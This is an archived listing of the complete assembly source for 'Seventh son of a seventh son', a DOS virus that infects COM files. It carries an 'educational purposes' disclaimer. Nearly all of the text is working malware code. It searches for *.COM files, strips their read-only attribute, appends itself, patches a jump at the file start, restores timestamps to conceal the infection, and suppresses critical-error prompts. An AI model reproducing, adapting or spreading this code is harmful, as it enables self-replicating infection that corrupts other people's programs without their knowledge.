home *** CD-ROM | disk | FTP | other *** search
- ;****************************************************************************
- ;* Seventh son of a seventh son version 4
- ;*
- ;* Compile with MASM 4.0
- ;* (other assemblers will probably not produce the same result)
- ;*
- ;* Disclaimer:
- ;* This file is only for educational purposes. The author takes no
- ;* responsibility for anything anyone does with this file. Do not
- ;* modify this file!
- ;****************************************************************************
-
- cseg segment
- assume cs:cseg,ds:cseg,es:cseg,ss:cseg
-
- .RADIX 16
-
- FILELEN equ end - start
- MINTARGET equ 1000d
- MAXTARGET equ -(FILELEN+40)
-
-
-
- ;****************************************************************************
- ;* Dummy program (infected)
- ;****************************************************************************
-
- org 100
-
- begin: db 4Dh ;virus mark
- db 0E9h, 4, 0 ;jump to virus entry
-
-
- ;****************************************************************************
- ;* Begin of the virus
- ;****************************************************************************
-
- start: db 0CDh, 20h, 0, 0
-
- cld
- mov si,0100h
- push si ;push new IP on stack
- mov di,si
- add si,[si+2] ;si -> start
-
- push si ;restore original begin
- movsw
- movsw
- pop si
-
- mov ax,3300h ;get ctrl-break flag
- int 21
- push dx
-
- cwd ;clear the flag
- inc ax
- push ax
- int 21
-
- mov ax,3524h ;get int24 vector
- int 21
- push bx
- push es
-
- lea dx,[si+(offset ni24 - 0104)] ;set new int24 vector
- mov ah,25h
- push ax
- int 21
-
- mov ah,2Fh ;get DTA adres
- int 21
- push es
- push bx
-
- add dx,070h ;set new DTA adres
- mov ah,1Ah
- int 21
- add dx,1Eh
- push dx
-
- lea di,[si+(offset generation-0104)] ;check generation
- cmp [di],0707h
- jne verder
-
- lea dx,[di+2] ;7th son of a 7th son!
- mov ah,09h
- int 21
-
- verder: mov ax,[di] ;update generations
- xchg ah,al
- mov al,1
- mov [di],ax
-
- lea dx,[di+33d] ;find first COM-file
- xor cx,cx
- mov ah,4Eh
- infloop: int 21
- pop dx
- jc stop
-
- push dx
-
- xor cx,cx ;clear read-only-arttribute
- mov ax,4301
- int 21
- jc return1
-
- mov ax,3D02h ;open the file
- int 21
- jc return1
- xchg bx,ax
-
- mov ax,5700h ;get file date & time
- int 21
- push cx
- push dx
-
- mov cx,4 ;read begin of file
- mov dx,si
- mov ah,3fh
- int 21
-
- cmp byte ptr [si],4Dh ;already infected or an EXE?
- je return2
- cmp byte ptr [si],5Ah ;or a weird EXE?
- je return2
-
- mov al,2 ;go to end of file
- call seek
-
- cmp ax,MAXTARGET ;check length of file
- jnb return2
- cmp ax,MINTARGET
- jbe return2
-
- push ax
- mov cx,FILELEN ;write program to end of file
- mov ah,40h
- int 21
- cmp ax,cx ;are all bytes written?
- pop ax
- jnz return2
-
- xchg ax,bp
- mov al,0 ;go to begin of file
- call seek
-
- mov word ptr [si],0E94Dh ;write mark and jump-command
- mov word ptr [si+2],bp
- mov ah,40h
- int 21
-
- inc byte ptr [di] ;number of next son
-
- return2: pop dx ;restore file date & time
- pop cx
- mov ax,5701h
- int 21
-
- mov ah,3Eh ;close the file
- int 21
-
- return1: mov ah,4Fh ;find next file
- jmp short infloop
-
- stop: pop dx ;restore DTA adres
- pop ds
- mov ah,1Ah
- int 21
-
- pop ax ;restore int24 vector
- pop ds
- pop dx
- int 21
-
- pop ax ;restore ctrl-break flag
- pop dx
- int 21
-
- push cs
- push cs
- pop ds
- pop es
-
- ret
-
- seek: mov ah,42
- cwd
- int21: xor cx,cx
- int 21
- mov cl,4
- mov dx,si
- ret
-
-
- ;****************************************************************************
- ;* Interupt handler 24
- ;****************************************************************************
-
- ni24: mov al,03
- iret
-
-
- ;****************************************************************************
- ;* Data
- ;****************************************************************************
-
- generation db 1,1
- sontxt db 'Seventh son of a seventh son',0Dh, 0Ah, '$'
- filename db '*.COM',0
- db 'é¿░│▒'
-
- end:
-
- cseg ends
- end begin
-